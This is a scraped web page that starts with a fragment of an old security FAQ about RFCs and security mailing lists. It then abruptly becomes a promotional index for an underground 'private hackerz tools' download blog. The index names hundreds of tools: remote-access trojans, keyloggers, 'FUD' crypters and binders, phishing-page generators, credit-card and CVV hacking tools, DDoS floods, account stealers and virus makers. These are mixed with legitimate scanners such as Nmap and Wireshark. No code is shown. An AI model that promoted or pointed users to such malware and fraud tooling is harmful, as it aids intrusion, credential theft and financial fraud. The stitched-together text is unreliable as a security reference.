Many of the papers in this category was RFC-papers. A RFC-paper is a paper that describes a protocol. The letters RCS stands for Request For Comment. Hosts on the Internet are expected to understand at least the common ones. If you want to learn more about a protocol it is always good to read the proper RFC. You can find a nice sRFC index search form at URL
http://pubweb.nexor.co.uk/public/rfc/index/rfc.html

F-2. KEEPING UP TO DATE INFORMATION
------------------------------------
CERT mailing list. Send an e-mail to cert@cert.org to be placed on the list
Bugtraq mailinglist. Send an e-mail to bugtraq-request@fc.net 3- WWW-security mailinglist. Send an e-mail to www-security@ns2.rutgers.edu
Sun Microsystems Security Bulletins
Various articles from: - comp.security.announce
comp.security.unix -
comp.security.firewalls -
Varius 40Hex Issues

underground private hackerz tools downloads must see

http://www.toolbase.blogspot.com
* 007 Spy Software (1)
* 100 Million Words Password List 850MB (1)
* 101 Hacker Programs 2007 (1)
* 102 Bot Sources (1)
* 2 More Hacking AIO (1)
* 28GB wordlist (zipped is 70mb) (1)
* 539 IRC BOT (1)
* [RAT]Scream 1.3 (1)
* A HUGE list of Crackers (1)
* A new Hack pack from meeee (1)
* Ace Password Sniffer (1)
* Advance ip scanner 1.5 (1)
* Advanced HostMonitor 7.18+keygen (1)
* Advanced Instant Messengers Password Recovery V3.20 (1)
* AFX executable crypter v 2008 (mod haZl0oh) (1)
* AIM virus Spreader (1)
* AIO Addon Searchers 6 in 1 (1)
* AIO remote admin tools package (1)
* Air Crack (1)
* AirCrack-ng 0.6.2 -Windows (1)
* All-In-One Ultra Hacker (2008) (1)
* Angry IP Scanner (1)
* Anonymous Emailer(no download needed) (1)
* Arabian Attacker Hacker's CD V.1.0 (1)
* Ardamax Keylogger (1)
* assign a passsword to workgroup (1)
* Astalavista Security Toolbox DVD v4.0 (1)
* Aurora Binder v2 (1)
* Aurora Binder V2 Release (1)
* Auto Ph$her / fake Web Login Creator (1)
* Automated SQL Injection ( (1)
* Backdoor Injector (2)
* Backdoors Collection (1)
* BackTrack2final (1)
* BaKo's SQL Injection Scanner (1)
* Best Ddos Tool Ever (2)
* Best Hacking Tools - 85 in 1 (1)
* Best Hacking Tools - 85 in 1 | 31.1 MB (1)
* Best Of Network Tools 2007 AIO Plus Bootable PE (1)
* Bitfrost RAT all Versions (1)
* Blue|Smash (1)
* Botnet Collection (1)
* Bruteforce tools updated (1)
* Brutus (1)
* C.E.H CD (1)
* Cain and Able Passoword Cracker (1)
* Card Generator (1)
* CC2Bank (1)
* Cigicigi Crypter [Private Edition] (1)
* CMaster (1)
* Core Impact 4 (1)
* Core Impact 4.0 (LEAKED) -- $2450 Program (1)
* CrackDownloader Plus 2.2 (2)
* Cracking A Rapidshare Account (1)
* Credit Cards Hacking Toolz Full Version (1)
* Cryptic v2.1 Modded FUD (1)
* Cryptic v2.3 (mod) by Polifemo (1)
* Cryptoz v3 Public Version (1)
* Daemon Crypt V2 Non Public[Mod by NeoniX] (1)
* Daemon Tools Pro Advanced 4.10.218.0 (1)
* Dark Zone Trojan (1)
* Darkcode Crackerskit.v2.0 (1)
* DarkZone Trojan (1)
* DDOS tools (1)
* Deamon Crypt V2 Public- FUD MOD (1)
* Digital Keylogger v3.0 by Nytro (1)
* DoS 5.5 Annihiliation Edition (1)
* Downloader (FWB++) (1)
* E-Gold Freezer (1)
* Easy Binder V2 (1)
* EgyCrypter (1)
* Egyspy keylogger (1)
* Email Spider (1)
* Eraser (1)
* ERD Commander 2007 (1)
* Eventlogs ;) cover ur ass (1)
* Evidence Eliminator (1)
* Evil MSN 3.0.6 (1)
* Fastest Windows Password Cracker (1)
* FBI BootDisk (1)
* Feliks Pack 3 - Hacking toolkit (1)
* Firefox Password Stealer (1)
* Fishing Bait 2.5 By DaveDaDon (1)
* For The Professional In This Matter (1)
* Freezer Live (1)
* FTP for all General tools (1)
* Full Hack Pack 155in1 2008 (1)
* full windows softwares (5)
* Fun (1)
* Funny Computer Pranks (1)
* German Police - Special Windows Boot CD (1)
* GhostMSN (1)
* Good Shell Pack (1)
* GoodLuck 3.2.0.0. direct connection (1)
* Google d0rk tool (2)
* Google Hacks Version v1.6 (1)
* Great hacking tools (1)
* Habbo Broote Forcer (1)
* Hach Crackers List (1)
* Hack all messenger passwords (1)
* Hack Hotmail and Windowslive Passwords (1)
* Hack Hound File Binder (1)
* Hacker's Tool Set (45 Hacking Tools) AIO (1)
* Hackers Black CD (1)
* Hackers Manifesto -550in1 (1)
* Hackers ToolKit Suite (1)
* Hacking and Cracking Matrix edition 2CD (1)
* Hacking e-Book -34in1- (AIO) (1)
* Hacking GMail (1)
* Hacking Pack AIO [1] (1)
* hacking tool sites links (2)
* Hacking Toolbox 2007 (1)
* hacking+programming Bulk Pack (1)
* HackShadow UltraPhish Phishing Generator (2)
* Hiren's Boot CD 9.5 (1)
* History (1)
* Html Worm Source Code (1)
* httprecon - Advanced Web Server Fingerprinting (1)
* Huge Pack Of Cryptors (1)
* Icon extractor+Icon Changer (1)
* IntoXonia 2 - LKM rootkit for Linux Kernel 2.6.x (1)
* Invisible Keylogger (1)
* IP Locator (2)
* Keylogger collection (8 in 1 keyloggers with cracks) (1)
* Keyloggers Collection (1)
* Kismet (1)
* l3vel-69's Advance Cookie Stealer v1.0 (1)
* LaLa Cryptor (1)
* LaLa RAT 1.3 (1)
* LCP (2)
* Linkin Binder (1)
* linux hacking (1)
* Linux Live-CD (1)
* Mail Bomber 9.3 Retail (1)
* Messenger Detect 2.70 (1)
* Millions Of Hacking Tools Direct Link No Rapidshare (4)
* Mini Ville Tools - Hacking toolkit (1)
* mIRC spammer (2)
* MorTal TeaM Yahoo Virus Psw (1)
* Msn AIO Pack 2007 (3)
* Msn AIO Pack 2008 (1)
* MSN Booter (1)
* Msn contact list sender (1)
* MSN Freezer (1)
* MSN Hack T00ls [2007] (1)
* MSN Hacks Nice Toolz To Trouble Buddies Much More... (1)
* MSN Pass Steal (1)
* Msn Password Hacker (1)
* Msn Phish v1 (1)
* Myspace Cracker v2 (1)
* myspace pass word cracker (1)
* Nessus Remote Security Scanner (1)
* Net Speed optimizer (1)
* Net Tools 5.0.70 (2)
* netcraft (1)
* NetCut 2.01 (1)
* Netstumbler (1)
* NetStumbler (for Wireless) (1)
* Network Hacking Tools (1)
* New Release (1)
* new tools (1)
* Nikto (1)
* Nmap - the Network Mapper (1)
* NmapView (win32) (1)
* NWTS VT ****er (1)
* Overdoz Modd Neronix [99%UD] (1)
* P0f - Passive OS Fingerprinting tool.. (2)
* Passw0rd Craking All in One 2oo7 (1)
* Password Bruteforcing AIO (1)
* Perfect Keylogger V1.6.8.2 (1)
* Ph03nx Auto Clicker (1)
* Phishing Letters (1)
* Phishing Pages (1)
* phpBB tools AIO (1)
* Poison Ivy 2.3.2 (1)
* Portable Windows Admin pass hack (1)
* Power HTTP FLooder (1)
* Professional Hackers Linux Assault Kit[DIRECT LINKS] (3)
* ProRat 1.9 Fix18 SE (SPECIAL EDITION) (1)
* Proxy Switcher Pro v3.9.0 4059 (1)
* PuTTY (1)
* Qsniffer (1)
* r00tKiT Wind0wz - all in one (2)
* Rapid Hacker v3 Final Maximum Edition (1)
* RapidLeecher v.5.0 (1)
* Rapidshare Account Bruteforcer (1)
* Rapidshare Generator (1)
* Rapidshare Hack Pack (1)
* RapidShare Perimum Gen (1)
* Rapidshare Solution Hack 2008 Edition (1)
* Rapidshare toolkit [2007] (1)
* RAR Password Cracker (1)
* Rar Password Cracker v4.12 (2)
* Red Binder 1.3 Modd by iNs (1)
* Redbinder V1.3 Mod (1)
* Reh Team Keylogger V1.0 -95%ud (1)
* Remote Desktop Protocol Scan (1)
* Remote password stealer 2.7 retail (1)
* RFC's pack (1)
* RLPack 1.20 (1)
* SC Keylogger Pro Full (1)
* School/College Hacking (1)
* See Password 2.05 (1)
* service (1)
* Shark RAT all Versions (1)
* ShkoShiko hacker AIO (1)
* Skd Undetectabler 3.0 Binder (1)
* Skull Crypter V 1 (2)
* Skype Hacks: Tips Tools for Cheap (1)
* Small Hacking Kit (1)
* SMS Flooder (1)
* Solid Binder (1)
* Some Tools in one Archive (1)
* Spamming AIO Tools +30m Email DB (1)
* Spider Binder 1.3 (1)
* Spider Pack (1)
* Spider Packer (1)
* SpyBoss KeyLogger PRO 4.2.2 (1)
* SQL Injection Tool v2.1 (2)
* sqlmap 0.5 - Automated SQL Injection Tool (1)
* SslNetcat [by Gomor] (1)
* Steam Acc Checker (1)
* Steam Account Stealer FUD - BETA (1)
* StreetHacker.1.1.7 (1)
* Super Scan - port scanner (1)
* SynAttack - DoS tool (1)
* System Hacking (1)
* T3RR0R-Inc's availability (1)
* telenet hacking tool.... (1)
* Theef All Versions (1)
* Themida All Versions [Cryptor] (1)
* This program will create a phisher for ANY website for a log (1)
* Tools to Crack xXx sites. (1)
* Top 15 SQL Injection Scanners (1)
* Turbo Zip Cracker 1.4 (2)
* Turkojen 4 UD new (1)
* Two Powerful Defacers (1)
* ULTIMATE PACK-must seee (1)
* Ultimate Wifi Hack Aio (1)
* Ultra Hackers 155in1-(AIO) (1)
* Ultra Page Spammer (1)
* Underground Crypter (1)
* Underground Hacking Tools - 2007 - AIO (1)
* Undetected KeyLogger (1)
* USB Steals Pc Passwords (2)
* USB Switchblade-Tool For SstealingWindows Passwords (1)
* Useful Tools (1)
* Uzzy's Keylogger (1)
* Verifier Credit Card Number (1)
* VH Hacker Tools(Beta) New Ver. + Tutorials (1)
* Vietnam CVV Hack tools (1)
* Virus Maker Professional 2008 (1)
* Virus Maker Proffessional 2008 (1)
* Vista Automated Activation Crack v3.0 - paradox (1)
* VNC 4.11 Scanner and connector (1)
* Vulnerability Scanner Pack (1)
* WatchFire Vulnerability Scanner Full Version (1)
* Web Application Security Testing Suite (1)
* Web Dos attack tools 2007 (Final) (1)
* Web Hacks (1)
* Web Shells Collections (1)
* Web Site Bandwith Killer (1)
* Windows Admin Hack - Offline NT Password Registry Edit (1)
* Windows Admin Password Hack (1)
* Windows Password Recovery - Enterprise Edition 7.5 (1)
* Windows WIFI Collection (4 in 1) (1)
* Windows XP Pro Black Edition 2007 With SP3 (1)
* Wireless Hacking Live-CD (FBI version) (1)
* Wireless WEP Key Password Spy (1)
* Wireshark (Formely Ethereal) (2)
* word list (1)
* Wordlist (28gb compressed to 70mb) (1)
* working links (1)
* xCode Keylogger new ver. (1)
* xHacker Pro 3.0 LEAKED (2)
* Xroot RFI Scanner (1)
* XVI32 Hex Editor (1)
* XXX Site Cracking Toolkit Suite 2006 AIO (1)
* Yahoo Annoying Tool (1)
* Yahoo Booter Room Destroy 5.9 (1)
* Yahoo Online Checker (1)
* Yersinia (1)
* Your Own Undetected Partition Deleter Virus.. ( Dont Try At Your Self) (1)
* ZeldaCrypt (1)
* Zero Hack Tools (1)
http://www.toolbase.blogspot.com